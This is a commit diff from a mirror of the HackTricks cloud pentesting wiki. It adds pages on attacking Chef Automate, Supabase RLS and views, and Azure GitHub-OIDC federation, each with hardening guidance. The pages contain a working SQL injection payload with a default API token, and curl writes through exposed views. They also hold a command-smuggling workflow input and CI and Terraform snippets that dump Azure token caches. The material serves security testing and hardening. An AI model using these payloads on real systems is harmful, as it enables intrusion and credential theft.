mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
f
This commit is contained in:
@@ -46,8 +46,10 @@
|
||||
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
|
||||
- [Serverless.com Security](pentesting-ci-cd/serverless.com-security.md)
|
||||
- [Supabase Security](pentesting-ci-cd/supabase-security.md)
|
||||
- [Ansible Tower / AWX / Automation controller Security](pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md)
|
||||
- [Check Automate Security](pentesting-ci-cd/chef-automate-security/README.md)
|
||||
- [Chef Automate Enumeration And Attacks](pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md)
|
||||
- [Vercel Security](pentesting-ci-cd/vercel-security.md)
|
||||
- [Ansible Tower / AWX / Automation controller Security](pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md)
|
||||
- [TODO](pentesting-ci-cd/todo.md)
|
||||
|
||||
# ⛈️ Pentesting Cloud
|
||||
@@ -404,6 +406,7 @@
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
||||
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
||||
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
||||
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
|
||||
- [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md)
|
||||
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
|
||||
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
|
||||
|
||||
18
src/pentesting-ci-cd/chef-automate-security/README.md
Normal file
18
src/pentesting-ci-cd/chef-automate-security/README.md
Normal file
@@ -0,0 +1,18 @@
|
||||
# Chef Automate Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Chef Automate
|
||||
|
||||
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
|
||||
|
||||
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
|
||||
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
|
||||
|
||||
## Enumeration & Attacks
|
||||
|
||||
{{#ref}}
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,150 @@
|
||||
# Chef Automate Enumeration & Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
|
||||
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
|
||||
- Abusing the x-data-collector-token authentication header when defaults are present
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
|
||||
|
||||
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
|
||||
|
||||
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
|
||||
|
||||
- type: string (filter field identifier)
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Affected endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Injection point: filters[].type
|
||||
- Vulnerability class: time-based blind SQL injection in PostgreSQL
|
||||
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
|
||||
|
||||
Working time-based payload:
|
||||
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
Technique notes:
|
||||
- Close the original string with a single quote
|
||||
- Concatenate a subquery that calls pg_sleep(N)
|
||||
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
|
||||
|
||||
### Proof via differential latency
|
||||
|
||||
Send paired requests and compare response times to validate server-side execution:
|
||||
|
||||
- N = 1 second
|
||||
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
- N = 5 seconds
|
||||
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
Observed behavior:
|
||||
- Response times scale with pg_sleep(N)
|
||||
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
|
||||
|
||||
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
|
||||
|
||||
### Impact
|
||||
|
||||
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
|
||||
|
||||
### Affected versions / Fix
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
|
||||
|
||||
## Detection and Forensics
|
||||
|
||||
- API layer:
|
||||
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
|
||||
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
|
||||
- Database layer (PostgreSQL):
|
||||
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
|
||||
- Authentication:
|
||||
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
|
||||
|
||||
## Mitigations and Hardening
|
||||
|
||||
- Immediate:
|
||||
- Rotate/disable default data collector tokens
|
||||
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
|
||||
- Code-level:
|
||||
- Parameterize queries; never string-concatenate SQL fragments
|
||||
- Strictly whitelist allowed type values on the server (enum)
|
||||
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
|
||||
|
||||
## Practical Testing Checklist
|
||||
|
||||
- Check if x-data-collector-token is accepted and whether the known default works
|
||||
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
|
||||
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
|
||||
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
|
||||
|
||||
## References
|
||||
|
||||
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
|
||||
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
|
||||
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -480,7 +480,7 @@ jobs:
|
||||
- run: ls tmp/checkout
|
||||
```
|
||||
|
||||
### Accessing AWS and GCP via OIDC
|
||||
### Accessing AWS, Azure and GCP via OIDC
|
||||
|
||||
Check the following pages:
|
||||
|
||||
@@ -488,6 +488,10 @@ Check the following pages:
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
@@ -127,6 +127,114 @@ This is a very bad idea because supabase charges per active user so people could
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Auth: Server-side signup enforcement
|
||||
|
||||
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
|
||||
|
||||
Quick test (from an unauthenticated client):
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
```
|
||||
|
||||
Expected hardening:
|
||||
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
|
||||
- Verify the API now returns 4xx to the previous call and no new user is created.
|
||||
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
|
||||
|
||||
## RLS and Views: Write bypass via PostgREST
|
||||
|
||||
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
|
||||
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
|
||||
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
|
||||
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that don’t match the view predicate may still succeed.
|
||||
|
||||
Risk pattern observed in the wild:
|
||||
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
|
||||
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owner’s privileges, effectively bypassing the intended RLS policies on the base table.
|
||||
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
|
||||
|
||||
Illustrative write via view (attempted from a public client):
|
||||
|
||||
```bash
|
||||
curl -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
```
|
||||
|
||||
Hardening checklist for views and RLS:
|
||||
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
|
||||
- If you must expose a view:
|
||||
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
|
||||
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invoker’s privileges are used instead of the owner’s.
|
||||
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
|
||||
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
|
||||
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
|
||||
|
||||
Detection tip:
|
||||
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
|
||||
|
||||
### OpenAPI-driven CRUD probing from anon/auth roles
|
||||
|
||||
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
|
||||
|
||||
Fetch the OpenAPI (works with the public anon key):
|
||||
|
||||
```bash
|
||||
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
```
|
||||
|
||||
Probe pattern (examples):
|
||||
- Read a single row (expect 401/403/200 depending on RLS):
|
||||
```bash
|
||||
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
```
|
||||
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
|
||||
```bash
|
||||
curl -i -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
- Test INSERT is blocked:
|
||||
```bash
|
||||
curl -i -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
```
|
||||
- Test DELETE is blocked:
|
||||
```bash
|
||||
curl -i -X DELETE \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
|
||||
Recommendations:
|
||||
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
|
||||
- Treat every exposed table/view/function as a first-class surface. Don’t assume a view “inherits” the same RLS posture as its base tables.
|
||||
|
||||
### Passwords & sessions
|
||||
|
||||
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
|
||||
@@ -160,7 +268,13 @@ It's possible to set an SMTP to send emails.
|
||||
|
||||
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
|
||||
|
||||
## References
|
||||
|
||||
- [Building Hacker Communities: Bug Bounty Village, getDisclosed’s Supabase Misconfig, and the LHE Squad (Ep. 133) – YouTube](https://youtu.be/NI-eXMlXma4)
|
||||
- [Critical Thinking Podcast – Episode 133 page](https://www.criticalthinkingpodcast.io/episode-133-building-hacker-communities-bug-bounty-village-getdisclosed-and-the-lhe-squad/)
|
||||
- [Supabase: Row Level Security (RLS)](https://supabase.com/docs/guides/auth/row-level-security)
|
||||
- [PostgreSQL: Row Security Policies](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)
|
||||
- [PostgreSQL: CREATE VIEW (security_invoker, check option)](https://www.postgresql.org/docs/current/sql-createview.html)
|
||||
- [PostgREST: OpenAPI documentation](https://postgrest.org/en/stable/references/api.html#openapi-documentation)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -100,6 +100,10 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/
|
||||
|
||||
AWS IAM RolesAnywhere allows workloads outside AWS to assume IAM roles using X.509 certificates. But when trust policies aren't properly scoped, they can be abused for privilege escalation.
|
||||
|
||||
To understand this attack, it is necessary to explain what a trust anchor is. A trust anchor in AWS IAM Roles Anywhere is the root of trust entity, it contains the public certificate of a Certificate Authority (CA) that is registered in the account so that AWS can validate the presented X.509 certificates. In this way, if the client certificate was issued by that CA and the trust anchor is active, AWS recognizes it as valid.
|
||||
|
||||
In addition, a profile is the configuration that defines which attributes of the X.509 certificate (such as CN, OU, or SAN) will be transformed into session tags, and these tags will later be compared against the conditions of the trust policy.
|
||||
|
||||
This policy lacks restrictions on which trust anchor or certificate attributes are allowed. As a result, any certificate tied to any trust anchor in the account can be used to assume this role.
|
||||
|
||||
```json
|
||||
@@ -135,11 +139,11 @@ aws_signing_helper credential-process \
|
||||
--role-arn arn:aws:iam::123456789012:role/Admin
|
||||
```
|
||||
|
||||
The trust anchor validates that the client certificate `readonly.pem` comes from its authorized CA, when the trust anchor was created the CA’s public certificate was included (and now used to validate `readonly.pem`). Inside `readonly.pem` is the public key, which AWS uses to verify that the signature was made with its corresponding private key `readonly.key`.
|
||||
The trust anchor validates that the client’s `readonly.pem` certificate comes from its authorized CA, and within this `readonly.pem` certificate is the public key that AWS uses to verify that the signature was made with its corresponding private key `readonly.key`.
|
||||
|
||||
The certificate also proves identity and provides attributes (such as CN or OU) that the `default` profile transforms into tags, which the role’s trust policy can use to decide whether to authorize access, if there are no conditions in the trust policy, those tags are ignored and anyone with a valid certificate is allowed through.
|
||||
The certificate also provides attributes (such as CN or OU) that the `default` profile transforms into tags, which the role’s trust policy can use to decide whether to authorize access. If there are no conditions in the trust policy, those tags have no use, and access is granted to anyone with a valid certificate.
|
||||
|
||||
For this attack to be possible, both the trust anchor and the default profile must be active.
|
||||
For this attack to be possible, both the trust anchor and the `default` profile must be active.
|
||||
|
||||
### References
|
||||
|
||||
|
||||
@@ -0,0 +1,253 @@
|
||||
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
GitHub Actions can federate to Azure Entra ID (formerly Azure AD) using OpenID Connect (OIDC). A GitHub workflow requests a short‑lived GitHub ID token (JWT) that encodes details about the run. Azure validates this token against a Federated Identity Credential (FIC) on an App Registration (service principal) and exchanges it for Azure access tokens (MSAL cache, bearer tokens for Azure APIs).
|
||||
|
||||
Azure validates at least:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
|
||||
- sub: must match the configured FIC Subject identifier
|
||||
|
||||
> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.
|
||||
|
||||
## GitHub ID token quick PoC
|
||||
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
|
||||
To force Azure audience on token request:
|
||||
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
|
||||
## Azure setup (Workload Identity Federation)
|
||||
|
||||
1) Create App Registration (service principal) and grant least privilege (e.g., Storage Blob Data Contributor on a specific storage account).
|
||||
|
||||
2) Add Federated identity credentials:
|
||||
- Issuer: https://token.actions.githubusercontent.com
|
||||
- Audience: api://AzureADTokenExchange
|
||||
- Subject identifier: tightly scoped to the intended workflow/run context (see Scoping and risks below).
|
||||
|
||||
3) Use azure/login to exchange the GitHub ID token and sign in the Azure CLI:
|
||||
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
|
||||
Manual exchange example (Graph scope shown; ARM or other resources similarly):
|
||||
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
|
||||
## GitHub OIDC subject (sub) anatomy and customization
|
||||
|
||||
Default sub format: repo:<org>/<repo>:<context>
|
||||
|
||||
Context values include:
|
||||
- environment:<env>
|
||||
- pull_request (PR triggers when not in an environment)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
Useful claims often present in the payload:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
Customize sub composition via the GitHub API to include additional claims and reduce collision risk:
|
||||
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
|
||||
Note: Colons in environment names are URL‑encoded (%3A), removing older delimiter‑injection tricks against sub parsing. However, using non‑unique subjects (e.g., only environment:<name>) is still unsafe.
|
||||
|
||||
## Scoping and risks of FIC subject types
|
||||
|
||||
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||
- Risk: If the branch/tag is unprotected, any contributor can push and obtain tokens.
|
||||
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||
- Risk: Unprotected environments (no reviewers) allow contributors to mint tokens.
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- Highest risk: Any collaborator can open a PR and satisfy the FIC.
|
||||
|
||||
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
|
||||
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
|
||||
Related file locations and notes:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json holds MSAL tokens for az CLI sessions
|
||||
- Windows: msal_token_cache.bin under user profile; DPAPI‑protected
|
||||
|
||||
## Reusable workflows and job_workflow_ref scoping
|
||||
|
||||
Calling a reusable workflow adds job_workflow_ref to the GitHub ID token, e.g.:
|
||||
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
|
||||
FIC example to bind both caller repo and the reusable workflow:
|
||||
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
|
||||
Configure claims in the caller repo so both repo and job_workflow_ref are present in sub:
|
||||
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
|
||||
Warning: If you bind only job_workflow_ref in the FIC, an attacker could create a different repo in the same org, run the same reusable workflow on the same ref, satisfy the FIC, and mint tokens. Always include the caller repo as well.
|
||||
|
||||
## Code execution vectors that bypass job_workflow_ref protections
|
||||
|
||||
Even with properly scoped job_workflow_ref, any caller‑controlled data that reaches shell without safe quoting can lead to code execution inside the protected workflow context.
|
||||
|
||||
Example vulnerable reusable step (unquoted interpolation):
|
||||
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
|
||||
Malicious caller input to execute commands and exfiltrate the Azure token cache:
|
||||
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
|
||||
## Terraform plan as an execution primitive in PRs
|
||||
|
||||
Treat terraform plan as code execution. During plan, Terraform can:
|
||||
- Read arbitrary files via functions like file()
|
||||
- Execute commands via the external data source
|
||||
|
||||
Example to exfiltrate Azure token cache during plan:
|
||||
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
|
||||
Or use external to run arbitrary commands:
|
||||
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
|
||||
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
|
||||
|
||||
## Hardening checklist
|
||||
|
||||
- Never use sub=...:pull_request for sensitive FICs
|
||||
- Protect any branch/tag/environment referenced by FICs (branch protection, environment reviewers)
|
||||
- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
|
||||
- Customize GitHub OIDC sub to include unique claims (e.g., repo, job_workflow_ref, repository_owner)
|
||||
- Eliminate unquoted interpolation of caller inputs into run steps; encode/quote safely
|
||||
- Treat terraform plan as code execution; restrict or isolate identities in PR contexts
|
||||
- Enforce least privilege on App Registrations; separate identities for plan vs apply
|
||||
- Pin actions and reusable workflows to commit SHAs (avoid branch/tag pins)
|
||||
|
||||
## Manual testing tips
|
||||
|
||||
- Request a GitHub ID token in‑workflow and print it base64 to avoid masking
|
||||
- Decode JWT to inspect claims: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
|
||||
- After azure/login, read ~/.azure/msal_token_cache.json to verify token material presence
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
